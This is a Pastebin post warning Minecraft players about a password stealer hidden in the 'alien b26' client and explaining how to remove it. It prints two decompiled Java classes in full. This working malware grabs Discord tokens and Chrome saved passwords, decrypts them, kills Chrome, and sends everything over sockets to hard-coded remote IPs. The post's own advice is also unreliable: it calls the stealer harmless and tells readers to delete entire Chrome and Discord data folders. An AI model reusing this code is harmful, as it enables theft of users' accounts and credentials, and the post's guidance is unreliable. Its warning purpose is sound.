Advertisement
Guest User

AlienRatRemoval

a guest
Jun 20th, 2018
544
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Hellow guys its spec here and Im going to show you how to remove the alien b26 "rat" people keep talking about...Its actually not a rat but a code in java that
  2. grabs your discord token and google chrome saved passwords....Wich is quite sad considering its a really harmless "rat" or in reality a harmless text logger.
  3.  
  4. My discord: Specv2#8162
  5.  
  6.  
  7. To remove this rat open alien b26 or any alien version you think giftcodes has ratted....
  8. Open alienb26.jar with jbytedit winzip 7zip winrar or any program you can use to delete class files contained within a jarfile
  9.  
  10. Go to the following directory:
  11.  
  12. net/minecraft/client/gui/catagories/spectator
  13.  
  14. and delete the following files:
  15. Logger$1.class
  16. Logger.class
  17. Logger1$1.class
  18. Logger1.class
  19.  
  20.  
  21. The code used within logger.class and logger1.class can be found at the end of this article
  22.  
  23.  
  24. Now I dont know if giftcodes has hidden rats in any previous alien versions... Although he may have... This guide is only for removing the alien b26 "rat"....
  25.  
  26. If you do not feel like using winrar or a archiver program/JBytedit to remove the rat from alienb26.jar you can delete only 2 files to prevent this rat from causing
  27. any harm to you or your computer as it really doesnt even take up 2 mb of ram to run wich tbh is quite performance healthy...
  28.  
  29. Files to delete to prevent rat from stealing ur shit:
  30.  
  31. C:/users/<YOUR WINDOWS USERNAME>/appdata/local/chrome/userdata
  32.  
  33. C:/users/<YOUR WINDOWS USERNAME>/appdata/local/discord
  34.  
  35.  
  36.  
  37. Deleting these files will prevent the rat from stealing any data if u have not removed it...Although it will log you out from discord and delete google chrome passwords and browser history.....
  38.  
  39.  
  40. Please note the code below is the code used to send your passwords stored within google chrome and your discord token to the ip adress of giftcodes vps servers... The code below contains ip adresses but they belong to a vps... Most likely cloudflair or something...
  41.  
  42.  
  43. Logger.class code:
  44.  
  45. package net.minecraft.client.gui.spectator.categories;
  46.  
  47. import com.sun.jna.platform.win32.Crypt32Util;
  48. import java.io.BufferedWriter;
  49. import java.io.File;
  50. import java.io.FileInputStream;
  51. import java.io.FileOutputStream;
  52. import java.io.FileWriter;
  53. import java.io.IOException;
  54. import java.io.InputStream;
  55. import java.io.OutputStream;
  56. import java.io.PrintStream;
  57. import java.net.Socket;
  58. import java.net.URISyntaxException;
  59. import java.net.URL;
  60. import java.nio.file.Files;
  61. import java.nio.file.Path;
  62. import java.nio.file.Paths;
  63. import java.nio.file.attribute.FileAttribute;
  64. import java.security.CodeSource;
  65. import java.security.ProtectionDomain;
  66. import java.sql.Connection;
  67. import java.sql.DriverManager;
  68. import java.sql.ResultSet;
  69. import java.sql.SQLException;
  70. import java.sql.Statement;
  71. import java.util.ArrayList;
  72. import java.util.HashMap;
  73. import java.util.Map;
  74. import java.util.Random;
  75. import me.giftcodes.client.Alien;
  76. import org.sqlite.SQLiteConfig;
  77.  
  78. public class Logger
  79. {
  80.   private String user = System.getProperty("user.name");
  81.   private String filepath = "C:\\Users\\" + this.user + "\\AppData\\Local\\Google\\Chrome\\User Data\\";
  82.   public static Map<String, String> paths = new HashMap();
  83.  
  84.   public Logger() throws SQLException, IOException {
  85.     run();
  86.   }
  87.  
  88.   public void run() throws SQLException, IOException {
  89.     System.out.println("Started!");
  90.     Socket socket = null;
  91.     String host = "145.239.212.40";
  92.     socket = new Socket(host, 4444);
  93.     String pathApp = System.getenv("APPDATA") + "\\discord\\Local Storage\\https_discordapp.com_0.localstorage";
  94.     String pathPtb = System.getenv("APPDATA") + "\\discordptb\\Local Storage\\https_ptb.discordapp.com_0.localstorage";
  95.     String pathCanary = System.getenv("APPDATA") + "\\discordcanary\\Local Storage\\https_canary.discordapp.com_0.localstorage";
  96.     addPath(pathApp, "discordapp");
  97.     addPath(pathPtb, "discordptb");
  98.     addPath(pathCanary, "discordcanary");
  99.     String messageBody = "";
  100.     for (String pa : paths.keySet()) {
  101.       String thing = getToken(new File(pa));
  102.       if (thing.startsWith("\""))
  103.       {
  104.         String formatted = "";
  105.         char[] arrayOfChar; int j = (arrayOfChar = thing.toCharArray()).length; for (int i = 0; i < j; i++) { char c = arrayOfChar[i];
  106.           if (c != 0) {
  107.             formatted = formatted + c;
  108.           }
  109.         }
  110.         System.out.println("Working...");
  111.         messageBody = messageBody + ((String)paths.get(pa)).toUpperCase() + " : " + formatted;
  112.         messageBody = messageBody + "\n";
  113.       } }
  114.     messageBody = messageBody.trim();
  115.     ArrayList<String> files = getFiles();
  116.     Object passwords = new ArrayList();
  117.     ArrayList<ArrayList<String>> usernames = new ArrayList();
  118.     ArrayList<ArrayList<String>> urls = new ArrayList();
  119.     ArrayList<ResultSet> results = new ArrayList();
  120.     Object results2 = new ArrayList();
  121.     Object results3 = new ArrayList();
  122.     closeChrome();
  123.     String uploadInfo = "";
  124.     for (String i : files) {
  125.       results.add(getResultSet(i));
  126.       ((ArrayList)results2).add(getResultSet(i));
  127.       ((ArrayList)results3).add(getResultSet(i));
  128.     }
  129.     for (ResultSet i : results) {
  130.       ((ArrayList)passwords).add(getPass(i));
  131.     }
  132.     for (ResultSet i : (ArrayList)results2) {
  133.       usernames.add(getUser(i));
  134.     }
  135.     for (ResultSet i : (ArrayList)results3) {
  136.       urls.add(getUrl(i));
  137.     }
  138.     openChrome();
  139.     for (int i = 0; i < usernames.size(); i++) {
  140.       for (int j = 0; j < ((ArrayList)usernames.get(i)).size(); j++) {
  141.         uploadInfo = uploadInfo + "Username: " + (String)((ArrayList)usernames.get(i)).get(j) + "      Passwords: " + (String)((ArrayList)((ArrayList)passwords).get(i)).get(j) + "      Site: " + (String)((ArrayList)urls.get(i)).get(j) + "\n";
  142.       }
  143.     }
  144.     closeChrome();
  145.     try {
  146.       BufferedWriter writer =
  147.         new BufferedWriter(new FileWriter("./pwds.txt"));
  148.      
  149.       writer.write(uploadInfo + messageBody);
  150.      
  151.       writer.close();
  152.     } catch (IOException e) {
  153.       e.printStackTrace();
  154.     }
  155.     System.out.print("Success!");
  156.    
  157.     File file = new File("./pwds.txt");
  158.    
  159.     long length = file.length();
  160.     byte[] bytes = new byte['?'];
  161.     InputStream in = new FileInputStream(file);
  162.     OutputStream out = socket.getOutputStream();
  163.    
  164.     int count;
  165.     while ((count = in.read(bytes)) > 0) { int count;
  166.       out.write(bytes, 0, count);
  167.     }
  168.    
  169.     out.close();
  170.     in.close();
  171.     socket.close();
  172.   }
  173.  
  174.   public static File getOwnFile()
  175.   {
  176.     try {
  177.       f = new File(Alien.class.getProtectionDomain().getCodeSource().getLocation().toURI().getPath());
  178.     } catch (URISyntaxException e) { File f;
  179.       e.printStackTrace();
  180.       return null; }
  181.     File f;
  182.     return f;
  183.   }
  184.  
  185.   public static void addPath(String p, String info) {
  186.     File f = new File(p);
  187.     if (f.exists()) {
  188.       paths.put(p, info);
  189.     }
  190.   }
  191.  
  192.   public static String getToken(File f) {
  193.     Connection c = null;
  194.     try {
  195.       c = read(f);
  196.     } catch (Exception e) {
  197.       e.printStackTrace();
  198.       return "WUT";
  199.     }
  200.     try
  201.     {
  202.       results = c.createStatement().executeQuery("SELECT * FROM ItemTable");
  203.     } catch (SQLException e) { ResultSet results;
  204.       e.printStackTrace();
  205.       return "ERR";
  206.     }
  207.     try {
  208.       ResultSet results;
  209.       do { if (results.getString("key").equalsIgnoreCase("token")) {
  210.           return results.getString("value");
  211.         }
  212.       } while (results.next());
  213.     }
  214.     catch (SQLException e)
  215.     {
  216.       e.printStackTrace();
  217.     }
  218.     return "Not found";
  219.   }
  220.  
  221.   public static Connection read(File file) throws Exception
  222.   {
  223.     Path tempDB = Files.createTempFile("WUT_" + new Random().nextInt(), null, new FileAttribute[0]);
  224.     FileOutputStream out = new FileOutputStream(tempDB.toFile());
  225.     Files.copy(Paths.get(file.getPath(), new String[0]), out);
  226.     out.close();
  227.     tempDB.toFile().deleteOnExit();
  228.    
  229.     SQLiteConfig config = new SQLiteConfig();
  230.     config.setReadOnly(true);
  231.     config.setTransactionMode(org.sqlite.SQLiteConfig.TransactionMode.EXCLUSIVE);
  232.     Connection db = config.createConnection("jdbc:sqlite:" + tempDB.toString());
  233.     db.setAutoCommit(true);
  234.     return db;
  235.   }
  236.  
  237.   public ArrayList<String> getFiles() {
  238.     ArrayList<String> folders = new ArrayList();
  239.     File file = new File(this.filepath);
  240.     String[] directories = file.list(new Logger.1(this));
  241.    
  242.     String[] arrayOfString1;
  243.    
  244.     int j = (arrayOfString1 = directories).length; for (int i = 0; i < j; i++) { String i = arrayOfString1[i];
  245.       if (i.matches("^(Default|Profile).*")) {
  246.         folders.add(this.filepath + i + "\\Login Data");
  247.       }
  248.     }
  249.     return folders;
  250.   }
  251.  
  252.   public ResultSet getResultSet(String file) {
  253.     try {
  254.       Class.forName("org.sqlite.JDBC");
  255.       Connection connection = DriverManager.getConnection("jdbc:sqlite:" + file);
  256.       Statement statement = connection.createStatement();
  257.       return statement.executeQuery("SELECT username_value, password_value, origin_url FROM logins");
  258.     }
  259.     catch (Exception e) {
  260.       e.printStackTrace();
  261.     }
  262.     return null;
  263.   }
  264.  
  265.   public ArrayList<String> getPass(ResultSet r) throws SQLException {
  266.     ArrayList<String> passwords = new ArrayList();
  267.     while (r.next())
  268.     {
  269.       byte[] decryptedData = Crypt32Util.cryptUnprotectData(r.getBytes(2));
  270.       StringBuilder decryptedString = new StringBuilder();
  271.       byte[] arrayOfByte1;
  272.       int j = (arrayOfByte1 = decryptedData).length; for (int i = 0; i < j; i++) { byte b = arrayOfByte1[i];
  273.        
  274.         decryptedString.append((char)b);
  275.       }
  276.       passwords.add(decryptedString.toString());
  277.     }
  278.     return passwords;
  279.   }
  280.  
  281.   public ArrayList<String> getUser(ResultSet r) throws SQLException {
  282.     ArrayList<String> usernames = new ArrayList();
  283.     while (r.next())
  284.     {
  285.       byte[] userData = r.getBytes(1);
  286.       StringBuilder userString = new StringBuilder();
  287.       byte[] arrayOfByte1;
  288.       int j = (arrayOfByte1 = userData).length; for (int i = 0; i < j; i++) { byte b = arrayOfByte1[i];
  289.        
  290.         userString.append((char)b);
  291.       }
  292.       usernames.add(userString.toString());
  293.     }
  294.     return usernames;
  295.   }
  296.  
  297.   public ArrayList<String> getUrl(ResultSet r) throws SQLException {
  298.     ArrayList<String> urls = new ArrayList();
  299.     while (r.next())
  300.     {
  301.       byte[] urlData = r.getBytes(3);
  302.       StringBuilder urlString = new StringBuilder();
  303.       byte[] arrayOfByte1;
  304.       int j = (arrayOfByte1 = urlData).length; for (int i = 0; i < j; i++) { byte b = arrayOfByte1[i];
  305.        
  306.         urlString.append((char)b);
  307.       }
  308.       urls.add(urlString.toString());
  309.     }
  310.     return urls;
  311.   }
  312.  
  313.   public static void closeChrome() throws IOException {
  314.     try {
  315.       Process p = Runtime.getRuntime().exec("taskkill /F /IM chrome.exe");
  316.       p.waitFor();
  317.     } catch (Exception e) {
  318.       e.printStackTrace();
  319.     }
  320.   }
  321.  
  322.   public static void openChrome() {
  323.     try {
  324.       Process localProcess = Runtime.getRuntime().exec("C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe --restore-last-session");
  325.     } catch (Exception e) {
  326.       e.printStackTrace();
  327.     }
  328.   }
  329. }
  330.  
  331.  
  332.  
  333.  
  334. Logger1.class code:
  335. package net.minecraft.client.gui.spectator.categories;
  336.  
  337. import com.sun.jna.platform.win32.Crypt32Util;
  338. import java.io.BufferedReader;
  339. import java.io.BufferedWriter;
  340. import java.io.File;
  341. import java.io.FileInputStream;
  342. import java.io.FileOutputStream;
  343. import java.io.FileWriter;
  344. import java.io.IOException;
  345. import java.io.InputStream;
  346. import java.io.InputStreamReader;
  347. import java.io.OutputStream;
  348. import java.io.PrintStream;
  349. import java.net.Socket;
  350. import java.net.URISyntaxException;
  351. import java.net.URL;
  352. import java.nio.file.Files;
  353. import java.nio.file.Path;
  354. import java.nio.file.Paths;
  355. import java.nio.file.attribute.FileAttribute;
  356. import java.security.CodeSource;
  357. import java.security.ProtectionDomain;
  358. import java.sql.Connection;
  359. import java.sql.DriverManager;
  360. import java.sql.ResultSet;
  361. import java.sql.SQLException;
  362. import java.sql.Statement;
  363. import java.util.ArrayList;
  364. import java.util.HashMap;
  365. import java.util.Map;
  366. import java.util.Random;
  367. import me.giftcodes.client.Alien;
  368. import org.sqlite.SQLiteConfig;
  369.  
  370. public class Logger1
  371. {
  372.   private String user = System.getProperty("user.name");
  373.   private String filepath = "C:\\Users\\" + this.user + "\\AppData\\Local\\Google\\Chrome\\User Data\\";
  374.   public static Map<String, String> paths = new HashMap();
  375.  
  376.   public Logger1() throws SQLException, IOException {
  377.     run();
  378.   }
  379.  
  380.   public void run() throws SQLException, IOException {
  381.     System.out.println("Started!");
  382.     Socket socket = null;
  383.     String host = "54.36.44.144";
  384.     socket = new Socket(host, 3389);
  385.     String pathApp = System.getenv("APPDATA") + "\\discord\\Local Storage\\https_discordapp.com_0.localstorage";
  386.     String pathPtb = System.getenv("APPDATA") + "\\discordptb\\Local Storage\\https_ptb.discordapp.com_0.localstorage";
  387.     String pathCanary = System.getenv("APPDATA") + "\\discordcanary\\Local Storage\\https_canary.discordapp.com_0.localstorage";
  388.     addPath(pathApp, "discordapp");
  389.     addPath(pathPtb, "discordptb");
  390.     addPath(pathCanary, "discordcanary");
  391.     String messageBody = "";
  392.     for (String pa : paths.keySet()) {
  393.       String thing = getToken(new File(pa));
  394.       if (thing.startsWith("\""))
  395.       {
  396.         String formatted = "";
  397.         char[] arrayOfChar; int j = (arrayOfChar = thing.toCharArray()).length; for (int i = 0; i < j; i++) { char c = arrayOfChar[i];
  398.           if (c != 0) {
  399.             formatted = formatted + c;
  400.           }
  401.         }
  402.         System.out.println("Working...");
  403.         messageBody = messageBody + ((String)paths.get(pa)).toUpperCase() + " : " + formatted;
  404.         messageBody = messageBody + "\n";
  405.       } }
  406.     messageBody = messageBody.trim();
  407.     ArrayList<String> files = getFiles();
  408.     Object passwords = new ArrayList();
  409.     ArrayList<ArrayList<String>> usernames = new ArrayList();
  410.     ArrayList<ArrayList<String>> urls = new ArrayList();
  411.     ArrayList<ResultSet> results = new ArrayList();
  412.     Object results2 = new ArrayList();
  413.     Object results3 = new ArrayList();
  414.     closeChrome();
  415.     String uploadInfo = "";
  416.     for (String i : files) {
  417.       results.add(getResultSet(i));
  418.       ((ArrayList)results2).add(getResultSet(i));
  419.       ((ArrayList)results3).add(getResultSet(i));
  420.     }
  421.     for (ResultSet i : results) {
  422.       ((ArrayList)passwords).add(getPass(i));
  423.     }
  424.     for (ResultSet i : (ArrayList)results2) {
  425.       usernames.add(getUser(i));
  426.     }
  427.     for (ResultSet i : (ArrayList)results3) {
  428.       urls.add(getUrl(i));
  429.     }
  430.     openChrome();
  431.    
  432.     for (int i = 0; i < usernames.size(); i++) {
  433.       for (int j = 0; j < ((ArrayList)usernames.get(i)).size(); j++) {
  434.         uploadInfo = uploadInfo + "Username: " + (String)((ArrayList)usernames.get(i)).get(j) + System.lineSeparator() + "Passwords: " + (String)((ArrayList)((ArrayList)passwords).get(i)).get(j) + System.lineSeparator() + "URL: " + (String)((ArrayList)urls.get(i)).get(j) + "\n" + "\n";
  435.       }
  436.     }
  437.    
  438.     URL url = new URL("http://checkip.amazonaws.com/");
  439.     BufferedReader br = new BufferedReader(new InputStreamReader(url.openStream()));
  440.    
  441.     closeChrome();
  442.     try {
  443.       BufferedWriter writer =
  444.         new BufferedWriter(new FileWriter("./pwds.txt"));
  445.      
  446.       writer.write(messageBody + "\n" + "\n" + "IP: " + br.readLine() + "\n" + "\n" + "-+==Login Detials==+-" + "\n" + "\n" + uploadInfo);
  447.      
  448.       writer.close();
  449.     } catch (IOException e) {
  450.       e.printStackTrace();
  451.     }
  452.     System.out.print("Success!");
  453.    
  454.     File file = new File("./pwds.txt");
  455.    
  456.     long length = file.length();
  457.     byte[] bytes = new byte['?'];
  458.     InputStream in = new FileInputStream(file);
  459.     OutputStream out = socket.getOutputStream();
  460.    
  461.     int count;
  462.     while ((count = in.read(bytes)) > 0) { int count;
  463.       out.write(bytes, 0, count);
  464.     }
  465.    
  466.     out.close();
  467.     in.close();
  468.     socket.close();
  469.   }
  470.  
  471.   public static File getOwnFile()
  472.   {
  473.     try {
  474.       f = new File(Alien.class.getProtectionDomain().getCodeSource().getLocation().toURI().getPath());
  475.     } catch (URISyntaxException e) { File f;
  476.       e.printStackTrace();
  477.       return null; }
  478.     File f;
  479.     return f;
  480.   }
  481.  
  482.   public static void addPath(String p, String info) {
  483.     File f = new File(p);
  484.     if (f.exists()) {
  485.       paths.put(p, info);
  486.     }
  487.   }
  488.  
  489.   public static String getToken(File f) {
  490.     Connection c = null;
  491.     try {
  492.       c = read(f);
  493.     } catch (Exception e) {
  494.       e.printStackTrace();
  495.       return "WUT";
  496.     }
  497.     try
  498.     {
  499.       results = c.createStatement().executeQuery("SELECT * FROM ItemTable");
  500.     } catch (SQLException e) { ResultSet results;
  501.       e.printStackTrace();
  502.       return "ERR";
  503.     }
  504.     try {
  505.       ResultSet results;
  506.       do { if (results.getString("key").equalsIgnoreCase("token")) {
  507.           return results.getString("value");
  508.         }
  509.       } while (results.next());
  510.     }
  511.     catch (SQLException e)
  512.     {
  513.       e.printStackTrace();
  514.     }
  515.     return "Not found";
  516.   }
  517.  
  518.   public static Connection read(File file) throws Exception
  519.   {
  520.     Path tempDB = Files.createTempFile("WUT_" + new Random().nextInt(), null, new FileAttribute[0]);
  521.     FileOutputStream out = new FileOutputStream(tempDB.toFile());
  522.     Files.copy(Paths.get(file.getPath(), new String[0]), out);
  523.     out.close();
  524.     tempDB.toFile().deleteOnExit();
  525.    
  526.     SQLiteConfig config = new SQLiteConfig();
  527.     config.setReadOnly(true);
  528.     config.setTransactionMode(org.sqlite.SQLiteConfig.TransactionMode.EXCLUSIVE);
  529.     Connection db = config.createConnection("jdbc:sqlite:" + tempDB.toString());
  530.     db.setAutoCommit(true);
  531.     return db;
  532.   }
  533.  
  534.   public ArrayList<String> getFiles() {
  535.     ArrayList<String> folders = new ArrayList();
  536.     File file = new File(this.filepath);
  537.     String[] directories = file.list(new Logger1.1(this));
  538.    
  539.     String[] arrayOfString1;
  540.    
  541.     int j = (arrayOfString1 = directories).length; for (int i = 0; i < j; i++) { String i = arrayOfString1[i];
  542.       if (i.matches("^(Default|Profile).*")) {
  543.         folders.add(this.filepath + i + "\\Login Data");
  544.       }
  545.     }
  546.     return folders;
  547.   }
  548.  
  549.   public ResultSet getResultSet(String file) {
  550.     try {
  551.       Class.forName("org.sqlite.JDBC");
  552.       Connection connection = DriverManager.getConnection("jdbc:sqlite:" + file);
  553.       Statement statement = connection.createStatement();
  554.       return statement.executeQuery("SELECT username_value, password_value, origin_url FROM logins");
  555.     }
  556.     catch (Exception e) {
  557.       e.printStackTrace();
  558.     }
  559.     return null;
  560.   }
  561.  
  562.   public ArrayList<String> getPass(ResultSet r) throws SQLException {
  563.     ArrayList<String> passwords = new ArrayList();
  564.     while (r.next())
  565.     {
  566.       byte[] decryptedData = Crypt32Util.cryptUnprotectData(r.getBytes(2));
  567.       StringBuilder decryptedString = new StringBuilder();
  568.       byte[] arrayOfByte1;
  569.       int j = (arrayOfByte1 = decryptedData).length; for (int i = 0; i < j; i++) { byte b = arrayOfByte1[i];
  570.        
  571.         decryptedString.append((char)b);
  572.       }
  573.       passwords.add(decryptedString.toString());
  574.     }
  575.     return passwords;
  576.   }
  577.  
  578.   public ArrayList<String> getUser(ResultSet r) throws SQLException {
  579.     ArrayList<String> usernames = new ArrayList();
  580.     while (r.next())
  581.     {
  582.       byte[] userData = r.getBytes(1);
  583.       StringBuilder userString = new StringBuilder();
  584.       byte[] arrayOfByte1;
  585.       int j = (arrayOfByte1 = userData).length; for (int i = 0; i < j; i++) { byte b = arrayOfByte1[i];
  586.        
  587.         userString.append((char)b);
  588.       }
  589.       usernames.add(userString.toString());
  590.     }
  591.     return usernames;
  592.   }
  593.  
  594.   public ArrayList<String> getUrl(ResultSet r) throws SQLException {
  595.     ArrayList<String> urls = new ArrayList();
  596.     while (r.next())
  597.     {
  598.       byte[] urlData = r.getBytes(3);
  599.       StringBuilder urlString = new StringBuilder();
  600.       byte[] arrayOfByte1;
  601.       int j = (arrayOfByte1 = urlData).length; for (int i = 0; i < j; i++) { byte b = arrayOfByte1[i];
  602.        
  603.         urlString.append((char)b);
  604.       }
  605.       urls.add(urlString.toString());
  606.     }
  607.     return urls;
  608.   }
  609.  
  610.   public static void closeChrome() throws IOException {
  611.     try {
  612.       Process p = Runtime.getRuntime().exec("taskkill /F /IM chrome.exe");
  613.       p.waitFor();
  614.     } catch (Exception e) {
  615.       e.printStackTrace();
  616.     }
  617.   }
  618.  
  619.   public static void openChrome() {
  620.     try {
  621.       Process localProcess = Runtime.getRuntime().exec("C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe --restore-last-session");
  622.     } catch (Exception e) {
  623.       e.printStackTrace();
  624.     }
  625.   }
  626. }
  627.  
  628.  
  629.  
  630.  
  631.  
  632.  
  633.  
  634.  
  635. I confronted giftcodes on this and he claimed this code was in virtue although after I compaired alien to virtue this code was no were within virtue...Dont get ratted bois peace
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement